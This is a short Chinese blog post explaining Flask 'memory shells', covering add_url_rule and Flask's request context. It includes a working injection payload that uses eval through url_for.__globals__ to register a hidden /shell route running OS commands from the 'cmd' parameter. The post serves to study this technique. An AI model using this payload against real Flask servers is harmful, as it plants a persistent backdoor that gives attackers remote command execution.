首页 > 系统相关 >Flask内存马

Flask内存马

时间:2022-12-28 19:01:05浏览次数:63  
标签:__ Flask app request url 内存 self


文章目录

  • ​​前言​​
  • ​​前置知识​​
  • ​​app.add_url_rule()函数​​
  • ​​lambda表达式​​
  • ​​正文​​
  • ​​参考文章​​

前言

只是感觉比较好玩,索性简单学习了下,还蛮有意思

前置知识

app.add_url_rule()函数

一个简单的用法

app.add_url_rule('/index/',endpoint='index',view_func=index)

add_url_rule三个参数解释:

第一个参数:函数对应的url规则,满足条件和app.route()的第一个参数一样,必须以’/'开始
endpoint:站点,就是在使用url_for()进行反转的时候,这个里面传入的第一个参数就是这个endpoint对应的值。这个值也可以不指定,那么默认就会使用函数的名字作为endpoint的值
view_func:对应的函数,即这个url对应的是哪一个函数,注意,这里函数只需要写函数名字,不要加括号,加括号表示将函数的返回值传给了view_func参数了。程序就会直接报错。

lambda表达式

菜鸟教程有,懒得写
​​​ https://www.runoob.com/python/python-functions.html​

正文

通过参考文章的Flask上下文管理机制文章的学习,一开始不懂,我自己本地调试后有了一定理解,强烈建议自己跟着Flask上下文管理机制进行debug学习
当一个网页请求来以后,Flask会实例化对象app,执行​​​__call__​​,

def __call__(self, environ, start_response):
"""The WSGI server calls the Flask application object as the
WSGI application. This calls :meth:`wsgi_app` which can be
wrapped to applying middleware."""
return self.wsgi_app(environ, start_response)

返回得到一个RequestContext的对象,重点是里面有request以及session
,如下

class RequestContext(object):
def __init__(self, app, environ, request=None):
self.app = app #app = Flask对象
if request is None:
#请求的原始信息通过request_class后此时request已经存在,request.methods等
request = app.request_class(environ)
self.request = request
self.url_adapter = app.create_url_adapter(self.request)
self.flashes = None
self.session = None

在最后​​_request_ctx_stack.push(self)​​​,此时这个self即为​​RequestContext​​​对象,因此我们接下来我们分析这个payload,由于没有request,因此需要通过​​RequestContext​​来获取

url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})

找到eval方法,​​_request_ctx_stack.top​​返回RequestContext,其包含request,因此便可以利用此获取参数进行命令执行

参考文章

​iceyhexman/flask_memory_shell​​​flask–app.add_url_rule()函数 和 类视图详解
Flask上下文管理机制


标签:__,Flask,app,request,url,内存,self
From: https://blog.51cto.com/u_15847702/5976193

相关文章

  • MySQL 内存检查脚本
    !/bin/shmysql-uroot-pxxx-h172.16.13.179-P3305-e"showvariables;showstatus"|awk'{VAR[$1]=$2}END{MAX_CONN=VAR["max_connections"]MAX_USED_CO......
  • JavaScript 内存泄露问题
     内存泄露是每个开发者最终都不得不面对的问题。即便使用自动内存管理的语言,你还是会碰到一些内存泄漏的情况。内存泄露会导致一系列问题,比如:运行缓慢,崩溃,高延迟,甚至一些与......
  • JVM 内存模型 Stack Heap 文章选摘
    JVM内存模型Java虚拟机(JavaVirtualMachine=JVM)的内存空间分为五个部分,分别是:程序计数器Java虚拟机栈本地方法栈堆方法区。下面对这五个区域展开深入的介绍。程序......
  • IntelliJ IDEA 编译方式介绍及查看内存占用
    编译方式介绍相比较于Eclipse的实时自动编译,IntelliJIDEA的编译更加手动化,虽然IntelliJIDEA也支持通过设置开启实时编译,但是不建议,因为太占资源了。IntelliJIDEA编......
  • PE格式:导入表与IAT内存修正
    本章教程中,使用的工具是上次制作的PE结构解析器,如果还不会使用请先看前一篇文章中对该工具的介绍,本章节内容主要复习导入表结构的基础知识点,并通过前面编写的一些小案例,实现......
  • JVM内存溢出深度分析
    今天,发现游戏逻辑服务器内存溢出问题,每隔一定时间就生成java_pidxxxxxx.hprof,基本1G内存分配不够用了,导致FGC频繁发生。工具:MAT ​​EclipseMemoryAnalyzerTool(MAT)分......
  • 高并发下Netty4底层bug导致直接内存溢出分析
    事故记录:10点游戏开服,迅速冲破2300+单区同时在线18点15分,运营反应玩家进不了,准备吃饭的人被抓回来排查故障发现,由于直接内存被占满,一直在FullGC,并且回收不掉,所以完全不......
  • linux下的内存查看(virt,res,shr,data的意义)
    其实在认真阅读了这篇名为“​​计算内存使用​​​”的文章之后,还是处于半迷糊状态。这位作者就说Linux下面没有特别好的显示内存占用的工具,虽然有top和free,但都说得不清楚......
  • Arthas 查询服务器内存数据
    1、打开Arthas所在位置eg:/home2、java-jararthas-boot.jar运行jar包3、选择要执行的javajar包eg:14、执行查看命令vmtool--actiongetInstances--classNameco......
  • 【C语言】memcpy() 内存拷贝不重叠
    前言本篇博客就来介绍下关于C语言常用的内存函数之memcpy()函数。 ......